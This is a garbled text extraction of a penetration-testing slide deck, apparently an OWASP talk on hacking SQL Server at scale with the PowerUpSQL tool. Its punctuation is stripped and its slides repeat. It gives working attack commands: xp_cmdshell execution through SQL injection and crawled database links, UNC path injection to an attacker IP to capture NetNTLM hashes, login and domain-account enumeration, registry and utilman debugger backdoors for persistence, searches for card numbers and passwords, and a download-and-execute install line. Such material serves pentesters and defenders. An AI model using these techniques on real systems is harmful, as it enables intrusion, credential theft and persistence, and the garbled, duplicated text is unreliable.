
Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 8: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

PowerUpSQL Overview Functions

Primary Attack Functions Invoke-SQLDumpInfo Invoke-SQLAudit Invoke-SQLEscalatePriv Invoke-SQLOsCmd

httpsgithubcomNetSPIPowerUpSQLwikiCurrently about 60 Functions

PowerUpSQL Overview Where can I get it

GithubhttpsgithubcomnetspiPowerUpSQL

PowerShell GalleryhttpswwwpowershellgallerycompackagesPowerUpSQL

PowerUpSQL Overview How do I install it

GithubImport-Module PowerUpSQLpsd1

IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)

Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy

PowerShell GalleryInstall-Module -Name PowerUpSQL

SQL ServerBasics

SQL Server BasicsWhat is SQL Server

A database platform An application A set of Windows services Each instance has its own set of

services

SQL Server Basics Account TypesAccount Types

Windows Accountso Used to logino Mapped to SQL Server login

SQL Server Loginso Used to logino Mapped to database account

Database Userso Used to access databases

SQL Server Basics Common RolesImportant SQL Server Roles

Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group

but in SQL Server

Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but

in SQL Server

Finding SQL Servers

Find SQL Servers TechniquesAttacker Perspective Attack Technique

Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources

Local User Services Registry entries

Domain User Service Principal Names Azure Portal PowerShell Modules

Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function

Unauthenticated Get-SQLInstanceFile

Unauthenticated Get-SQLInstanceUDPScan

Local User Get-SQLInstanceLocal

Domain User Get-SQLInstanceDomain

Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql

EscalatingPrivileges

Unauthenticated Domain User to SQL Login

Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers

Attacker Perspective Attack Technique

Unauthenticated Dictionary attacks using common user names and passwords

Unauthenticated Default passwords based on the SQL Server instance names

Local Windows or ADS Domain Account

Attempt to login using the current account

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

